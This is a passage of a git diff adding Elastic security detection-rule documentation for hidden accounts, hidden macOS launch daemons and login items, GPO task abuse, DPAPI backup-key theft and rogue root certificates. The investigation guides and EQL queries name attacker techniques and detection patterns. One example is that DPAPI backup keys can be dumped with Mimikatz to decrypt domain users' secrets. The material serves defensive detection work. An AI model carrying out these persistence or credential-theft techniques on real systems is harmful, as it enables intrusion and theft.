executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positive (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Delete the hidden account. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : ( + "HKLM\\SAM\\SAM\\Domains\\Account\\Users\\Names\\*$\\", + "\\REGISTRY\\MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\\*$\\", + "MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\\*$\\" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Users +** ID: T1564.002 +** Reference URL: https://attack.mitre.org/techniques/T1564/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-of-hidden-launch-agent-or-daemon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-of-hidden-launch-agent-or-daemon.asciidoc new file mode 100644 index 0000000000..666dfaa9dc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-of-hidden-launch-agent-or-daemon.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-20-creation-of-hidden-launch-agent-or-daemon]] +=== Creation of Hidden Launch Agent or Daemon + +Identifies the creation of a hidden launch agent or daemon. An adversary may establish persistence by installing a new launch agent or daemon which executes at login. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Creation of Hidden Launch Agent or Daemon* + + +Launch agents and daemons in macOS are background services that start at login or system boot, respectively, to perform various tasks. Adversaries exploit this by creating hidden agents or daemons to maintain persistence and evade defenses. The detection rule identifies suspicious creation of these services by monitoring specific system paths for new entries, alerting analysts to potential unauthorized persistence mechanisms. + + +*Possible investigation steps* + + +- Review the file path of the newly created launch agent or daemon to determine if it matches any known legitimate software installations or updates. +- Check the file creation timestamp to correlate with any recent user activities or system changes that might explain the creation of the file. +- Investigate the contents of the .plist file to identify the program or script it is set to execute, and assess whether it is a known or potentially malicious application. +- Examine the user account associated with the file path, especially if it is located in a user's Library directory, to determine if the user has a history of installing unauthorized software. +- Cross-reference the file path and associated executable with threat intelligence sources to identify any known indicators of compromise or malicious behavior. +- Look for any other recent file modifications or creations in the same directory that might indicate additional persistence mechanisms or related malicious activity. + + +*False positive analysis* + + +- System or application updates may create or modify launch agents or daemons as part of legitimate processes. Users can monitor update schedules and correlate alerts with known update activities to verify legitimacy. +- Some third-party applications install launch agents or daemons to provide background services or updates. Users should maintain an inventory of installed applications and their expected behaviors to identify benign entries. +- User-created scripts or automation tools might use launch agents or daemons for personal productivity tasks. Users can document and exclude these known scripts from monitoring to reduce noise. +- Administrative tools or security software might create temporary launch agents or daemons during scans or system maintenance. Users should verify the source and purpose of these entries and consider excluding them if they are part of routine operations. +- Regularly review and update exclusion lists to ensure they reflect current system configurations and software installations, minimizing the risk of overlooking new threats. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or data exfiltration by the adversary. +- Identify and terminate any suspicious processes associated with the newly created launch agent or daemon using Activity Monitor or command-line tools like `launchctl`. +- Remove the unauthorized launch agent or daemon by deleting the corresponding `.plist` file from the identified path. Ensure the file is not recreated by monitoring the directory for changes. +- Conduct a thorough review of user accounts and permissions on the affected system to ensure no unauthorized accounts or privilege escalations have occurred. +- Restore the system from a known good backup if the integrity of the system is in question and further compromise is suspected. +- Escalate the incident to the security operations team for a deeper forensic analysis to determine the root cause and scope of the intrusion. +- Update and enhance endpoint detection and response (EDR) solutions to improve monitoring and alerting for similar persistence mechanisms in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "launch_daemon" and + Persistence.name : ".*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-of-hidden-login-item-via-apple-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-of-hidden-login-item-via-apple-script.asciidoc new file mode 100644 index 0000000000..85224d39f6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-of-hidden-login-item-via-apple-script.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-creation-of-hidden-login-item-via-apple-script]] +=== Creation of Hidden Login Item via Apple Script + +Identifies the execution of osascript to create a hidden login item. This may indicate an attempt to persist a malicious program while concealing its presence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Creation of Hidden Login Item via Apple Script* + + +AppleScript is a scripting language for automating tasks on macOS, including managing login items. Adversaries exploit this by creating hidden login items to maintain persistence without detection. The detection rule identifies suspicious use of `osascript` to create such items, focusing on command patterns that specify hidden attributes, thus flagging potential stealthy persistence attempts. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of 'osascript' in the command line, specifically looking for patterns like "login item" and "hidden:true" to verify the alert's accuracy. +- Investigate the parent process of the 'osascript' execution to determine if it was initiated by a legitimate application or a potentially malicious source. +- Check the user account associated with the process to assess whether the activity aligns with typical user behavior or if it suggests unauthorized access. +- Examine recent login items and system logs to identify any new or unusual entries that could indicate persistence mechanisms being established. +- Correlate the event with other security alerts or logs from the same host to identify any related suspicious activities or patterns. +- If possible, retrieve and analyze the AppleScript code executed to understand its purpose and potential impact on the system. + + +*False positive analysis* + + +- Legitimate applications or scripts that automate login item management may trigger this rule. Review the process command line details to verify if the application is trusted. +- System administrators or IT management tools might use AppleScript for legitimate configuration tasks. Confirm if the activity aligns with scheduled maintenance or deployment activities. +- Users with advanced scripting knowledge might create custom scripts for personal use. Check if the script is part of a known user workflow and consider excluding it if verified as non-threatening. +- Frequent triggers from the same source could indicate a benign automation process. Implement exceptions for specific scripts or processes after thorough validation to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or data exfiltration. +- Terminate the suspicious osascript process identified in the alert to halt any ongoing malicious activity. +- Remove the hidden login item created by the osascript to eliminate the persistence mechanism. This can be done by accessing the user's login items and deleting any unauthorized entries. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review system logs and the user's recent activity to identify any other signs of compromise or related suspicious behavior. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring for osascript usage and login item modifications across the network to detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and process.name == "osascript" and + process.command_line : "osascript*login item*hidden:true*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Login Items +** ID: T1547.015 +** Reference URL: https://attack.mitre.org/techniques/T1547/015/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Plist File Modification +** ID: T1647 +** Reference URL: https://attack.mitre.org/techniques/T1647/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-or-modification-of-a-new-gpo-scheduled-task-or-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-or-modification-of-a-new-gpo-scheduled-task-or-service.asciidoc new file mode 100644 index 0000000000..34af95831b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-or-modification-of-a-new-gpo-scheduled-task-or-service.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-creation-or-modification-of-a-new-gpo-scheduled-task-or-service]] +=== Creation or Modification of a new GPO Scheduled Task or Service + +Detects the creation or modification of a new Group Policy based scheduled task or service. These methods are used for legitimate system administration, but can also be abused by an attacker with domain admin permissions to execute a malicious payload remotely on all or a subset of the domain joined machines. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Creation or Modification of a new GPO Scheduled Task or Service* + + +Group Policy Objects (GPOs) are crucial for centralized management in Windows environments, allowing administrators to configure settings across domain-joined machines. Adversaries with domain admin rights can exploit GPOs to create or modify scheduled tasks or services, deploying malicious payloads network-wide. The detection rule identifies such activities by monitoring specific file changes in GPO paths, excluding legitimate system processes, thus highlighting potential abuse for privilege escalation or persistence. + + +*Possible investigation steps* + + +- Review the file path and name to confirm if the changes were made to "ScheduledTasks.xml" or "Services.xml" within the specified GPO paths, as these are indicative of potential unauthorized modifications. +- Check the process that initiated the file change, ensuring it is not "C:\\Windows\\System32\\dfsrs.exe", which is excluded as a legitimate system process. +- Investigate the user account associated with the file modification event to determine if it has domain admin rights and assess if the activity aligns with their typical behavior or role. +- Examine recent changes in the GPO settings to identify any new or altered scheduled tasks or services that could be used for malicious purposes. +- Correlate the event with other security logs or alerts from data sources like Elastic Endgame, Sysmon, or Microsoft Defender for Endpoint to identify any related suspicious activities or patterns. +- Assess the impact by identifying which domain-joined machines are affected by the GPO changes and determine if any unauthorized tasks or services have been executed. + + +*False positive analysis* + + +- Legitimate administrative changes to GPOs can trigger alerts. Regularly review and document scheduled administrative tasks to differentiate between expected and unexpected changes. +- Automated system management tools may modify GPO scheduled tasks or services as part of routine operations. Identify these tools and create exceptions for their processes to reduce noise. +- Updates or patches from Microsoft or other trusted vendors might alter GPO settings. Monitor update schedules and correlate changes with known update activities to verify legitimacy. +- Internal IT scripts or processes that manage GPOs for configuration consistency can cause false positives. Ensure these scripts are well-documented and consider excluding their specific actions from monitoring. +- Temporary changes made by IT staff for troubleshooting or testing purposes can be mistaken for malicious activity. Implement a change management process to log and approve such activities, allowing for easy exclusion from alerts. + + +*Response and remediation* + + +- Immediately isolate affected systems from the network to prevent further spread of any malicious payloads deployed via the modified GPO scheduled tasks or services. +- Revoke domain admin privileges from any accounts that are suspected of being compromised to prevent further unauthorized modifications to GPOs. +- Conduct a thorough review of the modified ScheduledTasks.xml and Services.xml files to identify any unauthorized or malicious entries, and revert them to their previous legitimate state. +- Utilize endpoint detection and response (EDR) tools to scan for and remove any malicious payloads that may have been executed on domain-joined machines as a result of the GPO modifications. +- Notify the security operations center (SOC) and escalate the incident to the incident response team for further investigation and to determine the scope of the compromise. +- Implement additional monitoring on GPO paths and domain admin activities to detect any further unauthorized changes or suspicious behavior. +- Review and strengthen access controls and auditing policies for GPO management to prevent unauthorized modifications in the future. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and event.action != "open" and + file.name : ("ScheduledTasks.xml", "Services.xml") and + file.path : ( + "?:\\Windows\\SYSVOL\\domain\\Policies\\*\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml", + "?:\\Windows\\SYSVOL\\domain\\Policies\\*\\MACHINE\\Preferences\\Services\\Services.xml" + ) and + not process.executable : "C:\\Windows\\System32\\dfsrs.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Group Policy Modification +** ID: T1484.001 +** Reference URL: https://attack.mitre.org/techniques/T1484/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-or-modification-of-domain-backup-dpapi-private-key.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-or-modification-of-domain-backup-dpapi-private-key.asciidoc new file mode 100644 index 0000000000..0a0394a810 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-or-modification-of-domain-backup-dpapi-private-key.asciidoc @@ -0,0 +1,100 @@ +[[prebuilt-rule-8-19-20-creation-or-modification-of-domain-backup-dpapi-private-key]] +=== Creation or Modification of Domain Backup DPAPI private key + +Identifies the creation or modification of Domain Backup private keys. Adversaries may extract the Data Protection API (DPAPI) domain backup key from a Domain Controller (DC) to be able to decrypt any domain user master key file. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/ +* https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +Domain DPAPI Backup keys are stored on domain controllers and can be dumped remotely with tools such as Mimikatz. The resulting .pvk private key can be used to decrypt ANY domain user masterkeys, which then can be used to decrypt any secrets protected by those keys. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and file.name : ("ntds_capi_*.pfx", "ntds_capi_*.pvk") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: NTDS +** ID: T1003.003 +** Reference URL: https://attack.mitre.org/techniques/T1003/003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-or-modification-of-root-certificate.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-or-modification-of-root-certificate.asciidoc new file mode 100644 index 0000000000..648913160f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-creation-or-modification-of-root-certificate.asciidoc @@ -0,0 +1,199 @@ +[[prebuilt-rule-8-19-20-creation-or-modification-of-root-certificate]] +=== Creation or Modification of Root Certificate + +Identifies the creation or modification of a local trusted root certificate in Windows. The install of a malicious root certificate would allow an attacker the ability to masquerade malicious files as valid signed components from any entity (for example, Microsoft). It could also allow an attacker to decrypt SSL traffic. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec +* https://www.ired.team/offensive-security/persistence/t1130-install-root-certificate + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Creation or Modification of Root Certificate* + + +Root certificates are the primary level of certifications that tell a browser that the communication is trusted and legitimate. This verification is based upon the identification of a certification authority. Windows adds several trusted root certificates so browsers can use them to communicate with websites. + +https://www.thewindowsclub.com/what-are-root-certificates-windows[Check out this post] for more details on root certificates and the involved cryptography. + +This rule identifies the creation or modification of a root certificate by monitoring registry modifications. The installation of a malicious root certificate would allow an attacker the ability to masquerade malicious files as valid signed components from any entity (for example, Microsoft). It could also allow an attacker to decrypt SSL traffic. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate abnormal behaviors observed by the subject process such as network connections, other registry or file modifications, and any spawned child processes. +- If one of the processes is suspicious, retrieve it and determine if it is malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This detection may be triggered by certain applications that install root certificates for the purpose of inspecting SSL traffic. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove the malicious certificate from the root certificate store. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.value : "Blob" and + registry.path : + ( + "HKLM\\Software\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "HKLM\\Software\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "HKLM\\Software\\Policies\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "HKLM\\Software\\Policies\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "\\REGISTRY\\MACHINE\\Software\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "\\REGISTRY\\MACHINE\\Software\\Policies\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "\\REGISTRY\\MACHINE\\Software\\Policies\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "MACHINE\\Software\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "MACHINE\\Software\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob", + "MACHINE\\Software\\Policies\\Microsoft\\SystemCertificates\\Root\\Certificates\\*\\Blob", + "MACHINE\\Software\\Policies\\Microsoft\\SystemCertificates\\AuthRoot\\Certificates\\*\\Blob" + ) and + not process.executable : ( + "?:\\Program Files (x86)\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\ProgramData\\bomgar-*\\*\\sra-pin.exe", + "?:\\ProgramData\\bomgar-*\\*\\bomgar-scc.exe", + "?:\\ProgramData\\CTES\\Ctes.exe", + "?:\\ProgramData\\CTES\\Components\\SNG\\AbtSngSvc.exe", + "?:\\ProgramData\\CTES\\Components\\SVC\\CtesHostSvc.exe", + "?:\\ProgramData\\Lenovo\\Vantage\\Addins\\LenovoHardwareScanAddin\\*\\LdeApi.Server.exe", + "?:\\ProgramData\\Logishrd\\LogiOptionsPlus\\Plugins\\64\\certmgr.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\*.exe", + "?:\\ProgramData\\Quest\\KACE\\modules\\clientidentifier\\clientidentifier.exe", + "?:\\ProgramData\\Sophos\\AutoUpdate\\Cache\\sophos_autoupdate1.dir\\*.exe", + "?:\\ProgramData\\tychoncloud\\bin\\OVAL\\tvs.exe", + "?:\\Windows\\CCM\\CcmEval.exe", + "?:\\Windows\\CCM\\CcmExec.exe", + "?:\\Windows\\ccmsetup\\autoupgrade\\ccmsetup*.exe", + "?:\\Windows\\ccmsetup\\cache\\ccmsetup.exe", + "?:\\Windows\\ccmsetup\\ccmsetup.exe", + 